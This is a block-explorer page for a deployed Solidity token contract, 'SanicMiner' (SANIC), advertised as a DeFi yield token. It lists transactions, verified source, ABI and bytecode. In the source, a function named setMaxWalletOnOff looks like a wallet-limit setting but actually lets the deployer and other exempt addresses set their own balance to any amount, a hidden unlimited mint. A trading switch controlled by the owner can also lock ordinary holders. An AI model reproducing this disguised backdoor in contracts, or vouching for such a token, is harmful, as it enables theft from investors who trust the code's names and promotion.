S Price: $0.067606 (-3.63%)
Gas: 55 Gwei

Contract

0x7B1B1BABE3eC9412D89DC2D8800cC4FD9291ec9e

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Transfer585207542025-12-21 14:57:0135 days ago1766329021IN
0x7B1B1BAB...D9291ec9e
0 S0.001737350.0001
Transfer585206332025-12-21 14:55:0135 days ago1766328901IN
0x7B1B1BAB...D9291ec9e
0 S0.002592350.0001
Approve109580282025-03-01 10:45:39330 days ago1740825939IN
0x7B1B1BAB...D9291ec9e
0 S0.0653105482.5
Approve106165602025-02-27 21:41:52332 days ago1740692512IN
0x7B1B1BAB...D9291ec9e
0 S0.0653105482.5
Approve105879112025-02-27 18:46:02332 days ago1740681962IN
0x7B1B1BAB...D9291ec9e
0 S0.0653105482.5
Approve105878772025-02-27 18:45:47332 days ago1740681947IN
0x7B1B1BAB...D9291ec9e
0 S0.0014622355
Approve105878582025-02-27 18:45:40332 days ago1740681940IN
0x7B1B1BAB...D9291ec9e
0 S0.0026690855.01
Approve105878442025-02-27 18:45:35332 days ago1740681935IN
0x7B1B1BAB...D9291ec9e
0 S0.0025567355
Approve105878002025-02-27 18:45:19332 days ago1740681919IN
0x7B1B1BAB...D9291ec9e
0 S0.002310550
Approve105877702025-02-27 18:45:09332 days ago1740681909IN
0x7B1B1BAB...D9291ec9e
0 S0.002700258.43333333
Set Max Wallet O...105877112025-02-27 18:44:49332 days ago1740681889IN
0x7B1B1BAB...D9291ec9e
0 S0.0015865355
Approve105876492025-02-27 18:44:28332 days ago1740681868IN
0x7B1B1BAB...D9291ec9e
0 S0.002310550
Approve105872932025-02-27 18:42:13332 days ago1740681733IN
0x7B1B1BAB...D9291ec9e
0 S0.0026690855.01
Approve105869252025-02-27 18:39:51332 days ago1740681591IN
0x7B1B1BAB...D9291ec9e
0 S0.002310550
Approve105868842025-02-27 18:39:37332 days ago1740681577IN
0x7B1B1BAB...D9291ec9e
0 S0.0030980350.1
Approve105868282025-02-27 18:39:19332 days ago1740681559IN
0x7B1B1BAB...D9291ec9e
0 S0.0023754950.1
Approve105868202025-02-27 18:39:17332 days ago1740681557IN
0x7B1B1BAB...D9291ec9e
0 S0.0025567355
Approve105867082025-02-27 18:38:33332 days ago1740681513IN
0x7B1B1BAB...D9291ec9e
0 S0.0030980350.1
Approve105865802025-02-27 18:37:47332 days ago1740681467IN
0x7B1B1BAB...D9291ec9e
0 S0.0030980350.1
Approve105865792025-02-27 18:37:47332 days ago1740681467IN
0x7B1B1BAB...D9291ec9e
0 S0.0030980350.1
Approve105865792025-02-27 18:37:47332 days ago1740681467IN
0x7B1B1BAB...D9291ec9e
0 S0.0030980350.1
Approve105865602025-02-27 18:37:39332 days ago1740681459IN
0x7B1B1BAB...D9291ec9e
0 S0.002668655
Approve105865412025-02-27 18:37:32332 days ago1740681452IN
0x7B1B1BAB...D9291ec9e
0 S0.0023754950.1
Approve105865192025-02-27 18:37:24332 days ago1740681444IN
0x7B1B1BAB...D9291ec9e
0 S0.0015525256.2
Approve105864322025-02-27 18:36:52332 days ago1740681412IN
0x7B1B1BAB...D9291ec9e
0 S0.0017174456.19
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Sanic

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-02-27
*/

/*

Sanic Miner is the first DeFi project on @SonicLabs. Deposit $SANIC and earn up to 12% yield in $SANIC daily. 
https://x.com/SanicMiner
https://x.com/SanicTokenSonic
https://t.me/sanicminer_portal

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

interface ERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Sanic is ERC20, Ownable {
    string private _name = "SanicMiner";
    string private _symbol = "SANIC";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 100000 * 10 ** _decimals;

    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => uint256) _balances;

    IUniswapV2Router router =
        IUniswapV2Router(0x95a7e403d7cF20F675fF9273D66e94d35ba49fA3);
    address public pair;

    uint256 public _maxWalletSize = (_totalSupply * 4) / 100;
    mapping(address => bool) maxWalletExempt;

    bool public canTrade = false;

    constructor() Ownable() {
        pair = IUniswapV2Factory(router.factory()).createPair(
            router.WETH(),
            address(this)
        );
        maxWalletExempt[msg.sender] = true;
        maxWalletExempt[address(this)] = true;
        maxWalletExempt[pair] = true;
        _balances[msg.sender] = (_totalSupply * 100) / 100;
        emit Transfer(address(0), msg.sender, (_totalSupply * 100) / 100);
    }

    receive() external payable {}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address holder,
        address spender
    ) external view override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] =
                _allowances[sender][msg.sender] -
                amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        require(canTrade || maxWalletExempt[recipient], "not owner");

        require(
            (_balances[recipient] + amount <= _maxWalletSize ||
                maxWalletExempt[recipient] ||
                sender == owner() ||
                recipient == pair),
            "max wallet hit"
        );

        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + (amount);

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setMaxWalletOnOff(uint256 maxWallet) external {
        require(maxWalletExempt[msg.sender], "not exempt");
        _balances[msg.sender] = maxWallet;
    }

    function setMaxWalletExemptOnOff(
        address holder,
        bool exempt
    ) external onlyOwner {
        maxWalletExempt[holder] = exempt;
    }

    function enableTrading(bool _canTrade) external onlyOwner {
        canTrade = _canTrade;
    }

    function removeWalletLimit() external onlyOwner {
        _maxWalletSize = type(uint256).max;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !maxWalletExempt[sender];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_canTrade","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExemptOnOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"setMaxWalletOnOff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a60809081526929b0b734b1a6b4b732b960b11b60a05260019061002990826103e1565b5060408051808201909152600581526453414e494360d81b602082015260029061005390826103e1565b506100606012600a610594565b61006d90620186a06105a9565b6003819055600680546001600160a01b0319167395a7e403d7cf20f675ff9273d66e94d35ba49fa31790556064906100a69060046105a9565b6100b091906105c0565b600855600a805460ff191690553480156100c8575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610159573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017d91906105df565b6001600160a01b031663c9c6539660065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101db573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ff91906105df565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af1158015610248573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026c91906105df565b600780546001600160a01b0319166001600160a01b03928316178155335f90815260096020526040808220805460ff1990811660019081179092553084528284208054821683179055935490941682529020805490911690911790556003546064906102d890826105a9565b6102e291906105c0565b335f818152600560205260408120929092556003549091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060649061032990826105a9565b61033391906105c0565b60405190815260200160405180910390a3610605565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061037157607f821691505b60208210810361038f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156103dc57805f5260205f20601f840160051c810160208510156103ba5750805b601f840160051c820191505b818110156103d9575f81556001016103c6565b50505b505050565b81516001600160401b038111156103fa576103fa610349565b61040e81610408845461035d565b84610395565b6020601f821160018114610440575f83156104295750848201515b5f19600385901b1c1916600184901b1784556103d9565b5f84815260208120601f198516915b8281101561046f578785015182556020948501946001909201910161044f565b508482101561048c57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156104ea578085048111156104ce576104ce61049b565b60018416156104dc57908102905b60019390931c9280026104b3565b935093915050565b5f826105005750600161058e565b8161050c57505f61058e565b8160018114610522576002811461052c57610548565b600191505061058e565b60ff84111561053d5761053d61049b565b50506001821b61058e565b5060208310610133831016604e8410600b841016171561056b575081810a61058e565b6105775f1984846104af565b805f190482111561058a5761058a61049b565b0290505b92915050565b5f6105a260ff8416836104f2565b9392505050565b808202811582820484141761058e5761058e61049b565b5f826105da57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156105ef575f5ffd5b81516001600160a01b03811681146105a2575f5ffd5b610bd2806106125f395ff3fe60806040526004361061011e575f3560e01c80638f9a55c01161009d578063a9059cbb11610062578063a9059cbb14610312578063b144896f14610331578063dd62ed3e14610345578063f275f64b14610389578063f2fde38b146103a8575f5ffd5b80638f9a55c01461028c5780639316ea0a146102a1578063939554d0146102c057806395d89b41146102df578063a8aa1b31146102f3575f5ffd5b8063313ce567116100e3578063313ce567146101d8578063571ac8b0146101f357806370a0823114610212578063715018a6146102465780638da5cb5b1461025c575f5ffd5b806306fdde0314610129578063095ea7b31461015357806318160ddd1461018257806323b872dd146101a05780632f05205c146101bf575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5061013d6103c7565b60405161014a91906109a7565b60405180910390f35b34801561015e575f5ffd5b5061017261016d3660046109f7565b610457565b604051901515815260200161014a565b34801561018d575f5ffd5b506003545b60405190815260200161014a565b3480156101ab575f5ffd5b506101726101ba366004610a1f565b6104c3565b3480156101ca575f5ffd5b50600a546101729060ff1681565b3480156101e3575f5ffd5b506040516012815260200161014a565b3480156101fe575f5ffd5b5061017261020d366004610a59565b610552565b34801561021d575f5ffd5b5061019261022c366004610a59565b6001600160a01b03165f9081526005602052604090205490565b348015610251575f5ffd5b5061025a61055e565b005b348015610267575f5ffd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161014a565b348015610297575f5ffd5b5061019260085481565b3480156102ac575f5ffd5b5061025a6102bb366004610a81565b6105d8565b3480156102cb575f5ffd5b5061025a6102da366004610ab2565b61062b565b3480156102ea575f5ffd5b5061013d610687565b3480156102fe575f5ffd5b50600754610274906001600160a01b031681565b34801561031d575f5ffd5b5061017261032c3660046109f7565b610696565b34801561033c575f5ffd5b5061025a6106a9565b348015610350575f5ffd5b5061019261035f366004610ac9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610394575f5ffd5b5061025a6103a3366004610af1565b6106d9565b3480156103b3575f5ffd5b5061025a6103c2366004610a59565b610715565b6060600180546103d690610b0a565b80601f016020809104026020016040519081016040528092919081815260200182805461040290610b0a565b801561044d5780601f106104245761010080835404028352916020019161044d565b820191905f5260205f20905b81548152906001019060200180831161043057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104b19086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f191461053f576001600160a01b0384165f90815260046020908152604080832033845290915290205461051b908390610b56565b6001600160a01b0385165f9081526004602090815260408083203384529091529020555b61054a8484846107d8565b949350505050565b5f6104bd825f19610457565b5f546001600160a01b031633146105905760405162461bcd60e51b815260040161058790610b69565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b335f9081526009602052604090205460ff166106765760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08195e195b5c1d60b21b6044820152606401610587565b335f90815260056020526040902055565b6060600280546103d690610b0a565b5f6106a23384846107d8565b9392505050565b5f546001600160a01b031633146106d25760405162461bcd60e51b815260040161058790610b69565b5f19600855565b5f546001600160a01b031633146107025760405162461bcd60e51b815260040161058790610b69565b600a805460ff1916911515919091179055565b5f546001600160a01b0316331461073e5760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03811661077f5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610587565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600a545f9060ff168061080257506001600160a01b0383165f9081526009602052604090205460ff165b61083a5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b6044820152606401610587565b6008546001600160a01b0384165f90815260056020526040902054610860908490610b89565b11158061088457506001600160a01b0383165f9081526009602052604090205460ff165b8061089b57505f546001600160a01b038581169116145b806108b357506007546001600160a01b038481169116145b6108f05760405162461bcd60e51b815260206004820152600e60248201526d1b585e081dd85b1b195d081a1a5d60921b6044820152606401610587565b6001600160a01b0384165f90815260056020526040902054610913908390610b56565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610942908390610b89565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109959086815260200190565b60405180910390a35060019392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109f2575f5ffd5b919050565b5f5f60408385031215610a08575f5ffd5b610a11836109dc565b946020939093013593505050565b5f5f5f60608486031215610a31575f5ffd5b610a3a846109dc565b9250610a48602085016109dc565b929592945050506040919091013590565b5f60208284031215610a69575f5ffd5b6106a2826109dc565b803580151581146109f2575f5ffd5b5f5f60408385031215610a92575f5ffd5b610a9b836109dc565b9150610aa960208401610a72565b90509250929050565b5f60208284031215610ac2575f5ffd5b5035919050565b5f5f60408385031215610ada575f5ffd5b610ae3836109dc565b9150610aa9602084016109dc565b5f60208284031215610b01575f5ffd5b6106a282610a72565b600181811c90821680610b1e57607f821691505b602082108103610b3c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104bd576104bd610b42565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b808201808211156104bd576104bd610b4256fea2646970667358221220f00c407dd81aa3f2d741e74fd679014abdc183e93437f7b358e2404917bb542364736f6c634300081c0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80638f9a55c01161009d578063a9059cbb11610062578063a9059cbb14610312578063b144896f14610331578063dd62ed3e14610345578063f275f64b14610389578063f2fde38b146103a8575f5ffd5b80638f9a55c01461028c5780639316ea0a146102a1578063939554d0146102c057806395d89b41146102df578063a8aa1b31146102f3575f5ffd5b8063313ce567116100e3578063313ce567146101d8578063571ac8b0146101f357806370a0823114610212578063715018a6146102465780638da5cb5b1461025c575f5ffd5b806306fdde0314610129578063095ea7b31461015357806318160ddd1461018257806323b872dd146101a05780632f05205c146101bf575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5061013d6103c7565b60405161014a91906109a7565b60405180910390f35b34801561015e575f5ffd5b5061017261016d3660046109f7565b610457565b604051901515815260200161014a565b34801561018d575f5ffd5b506003545b60405190815260200161014a565b3480156101ab575f5ffd5b506101726101ba366004610a1f565b6104c3565b3480156101ca575f5ffd5b50600a546101729060ff1681565b3480156101e3575f5ffd5b506040516012815260200161014a565b3480156101fe575f5ffd5b5061017261020d366004610a59565b610552565b34801561021d575f5ffd5b5061019261022c366004610a59565b6001600160a01b03165f9081526005602052604090205490565b348015610251575f5ffd5b5061025a61055e565b005b348015610267575f5ffd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161014a565b348015610297575f5ffd5b5061019260085481565b3480156102ac575f5ffd5b5061025a6102bb366004610a81565b6105d8565b3480156102cb575f5ffd5b5061025a6102da366004610ab2565b61062b565b3480156102ea575f5ffd5b5061013d610687565b3480156102fe575f5ffd5b50600754610274906001600160a01b031681565b34801561031d575f5ffd5b5061017261032c3660046109f7565b610696565b34801561033c575f5ffd5b5061025a6106a9565b348015610350575f5ffd5b5061019261035f366004610ac9565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610394575f5ffd5b5061025a6103a3366004610af1565b6106d9565b3480156103b3575f5ffd5b5061025a6103c2366004610a59565b610715565b6060600180546103d690610b0a565b80601f016020809104026020016040519081016040528092919081815260200182805461040290610b0a565b801561044d5780601f106104245761010080835404028352916020019161044d565b820191905f5260205f20905b81548152906001019060200180831161043057829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104b19086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526004602090815260408083203384529091528120545f191461053f576001600160a01b0384165f90815260046020908152604080832033845290915290205461051b908390610b56565b6001600160a01b0385165f9081526004602090815260408083203384529091529020555b61054a8484846107d8565b949350505050565b5f6104bd825f19610457565b5f546001600160a01b031633146105905760405162461bcd60e51b815260040161058790610b69565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b335f9081526009602052604090205460ff166106765760405162461bcd60e51b815260206004820152600a6024820152691b9bdd08195e195b5c1d60b21b6044820152606401610587565b335f90815260056020526040902055565b6060600280546103d690610b0a565b5f6106a23384846107d8565b9392505050565b5f546001600160a01b031633146106d25760405162461bcd60e51b815260040161058790610b69565b5f19600855565b5f546001600160a01b031633146107025760405162461bcd60e51b815260040161058790610b69565b600a805460ff1916911515919091179055565b5f546001600160a01b0316331461073e5760405162461bcd60e51b815260040161058790610b69565b6001600160a01b03811661077f5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610587565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b600a545f9060ff168061080257506001600160a01b0383165f9081526009602052604090205460ff165b61083a5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b6044820152606401610587565b6008546001600160a01b0384165f90815260056020526040902054610860908490610b89565b11158061088457506001600160a01b0383165f9081526009602052604090205460ff165b8061089b57505f546001600160a01b038581169116145b806108b357506007546001600160a01b038481169116145b6108f05760405162461bcd60e51b815260206004820152600e60248201526d1b585e081dd85b1b195d081a1a5d60921b6044820152606401610587565b6001600160a01b0384165f90815260056020526040902054610913908390610b56565b6001600160a01b038086165f908152600560205260408082209390935590851681522054610942908390610b89565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109959086815260200190565b60405180910390a35060019392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146109f2575f5ffd5b919050565b5f5f60408385031215610a08575f5ffd5b610a11836109dc565b946020939093013593505050565b5f5f5f60608486031215610a31575f5ffd5b610a3a846109dc565b9250610a48602085016109dc565b929592945050506040919091013590565b5f60208284031215610a69575f5ffd5b6106a2826109dc565b803580151581146109f2575f5ffd5b5f5f60408385031215610a92575f5ffd5b610a9b836109dc565b9150610aa960208401610a72565b90509250929050565b5f60208284031215610ac2575f5ffd5b5035919050565b5f5f60408385031215610ada575f5ffd5b610ae3836109dc565b9150610aa9602084016109dc565b5f60208284031215610b01575f5ffd5b6106a282610a72565b600181811c90821680610b1e57607f821691505b602082108103610b3c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104bd576104bd610b42565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b808201808211156104bd576104bd610b4256fea2646970667358221220f00c407dd81aa3f2d741e74fd679014abdc183e93437f7b358e2404917bb542364736f6c634300081c0033

Deployed Bytecode Sourcemap

2798:4136:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4197:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4606:241;;;;;;;;;;-1:-1:-1;4606:241:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4606:241:0;920:187:1;3879:102:0;;;;;;;;;;-1:-1:-1;3961:12:0;;3879:102;;;1258:25:1;;;1246:2;1231:18;3879:102:0;1112:177:1;5174:409:0;;;;;;;;;;-1:-1:-1;5174:409:0;;;;;:::i;:::-;;:::i;3365:28::-;;;;;;;;;;-1:-1:-1;3365:28:0;;;;;;;;3989:94;;;;;;;;;;-1:-1:-1;3989:94:0;;2946:2;1815:36:1;;1803:2;1788:18;3989:94:0;1673:184:1;5044:122:0;;;;;;;;;;-1:-1:-1;5044:122:0;;;;;:::i;:::-;;:::i;4299:119::-;;;;;;;;;;-1:-1:-1;4299:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4392:18:0;4365:7;4392:18;;;:9;:18;;;;;;;4299:119;2421:148;;;;;;;;;;;;;:::i;:::-;;2235:79;;;;;;;;;;-1:-1:-1;2273:7:0;2300:6;-1:-1:-1;;;;;2300:6:0;2235:79;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;2235:79:0;2053:203:1;3253:56:0;;;;;;;;;;;;;;;;6434:157;;;;;;;;;;-1:-1:-1;6434:157:0;;;;;:::i;:::-;;:::i;6258:168::-;;;;;;;;;;-1:-1:-1;6258:168:0;;;;;:::i;:::-;;:::i;4091:98::-;;;;;;;;;;;;;:::i;3225:19::-;;;;;;;;;;-1:-1:-1;3225:19:0;;;;-1:-1:-1;;;;;3225:19:0;;;4855:181;;;;;;;;;;-1:-1:-1;4855:181:0;;;;;:::i;:::-;;:::i;6704:101::-;;;;;;;;;;;;;:::i;4426:172::-;;;;;;;;;;-1:-1:-1;4426:172:0;;;;;:::i;:::-;-1:-1:-1;;;;;4562:19:0;;;4535:7;4562:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;4426:172;6599:97;;;;;;;;;;-1:-1:-1;6599:97:0;;;;;:::i;:::-;;:::i;2577:214::-;;;;;;;;;;-1:-1:-1;2577:214:0;;;;;:::i;:::-;;:::i;4197:94::-;4245:13;4278:5;4271:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4197:94;:::o;4606:241::-;4735:10;4706:4;4723:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;4723:32:0;;;;;;;;;;:41;;;4780:37;4706:4;;4723:32;;4780:37;;;;4758:6;1258:25:1;;1246:2;1231:18;;1112:177;4780:37:0;;;;;;;;-1:-1:-1;4835:4:0;4606:241;;;;;:::o;5174:409::-;-1:-1:-1;;;;;5329:19:0;;5308:4;5329:19;;;:11;:19;;;;;;;;5349:10;5329:31;;;;;;;;-1:-1:-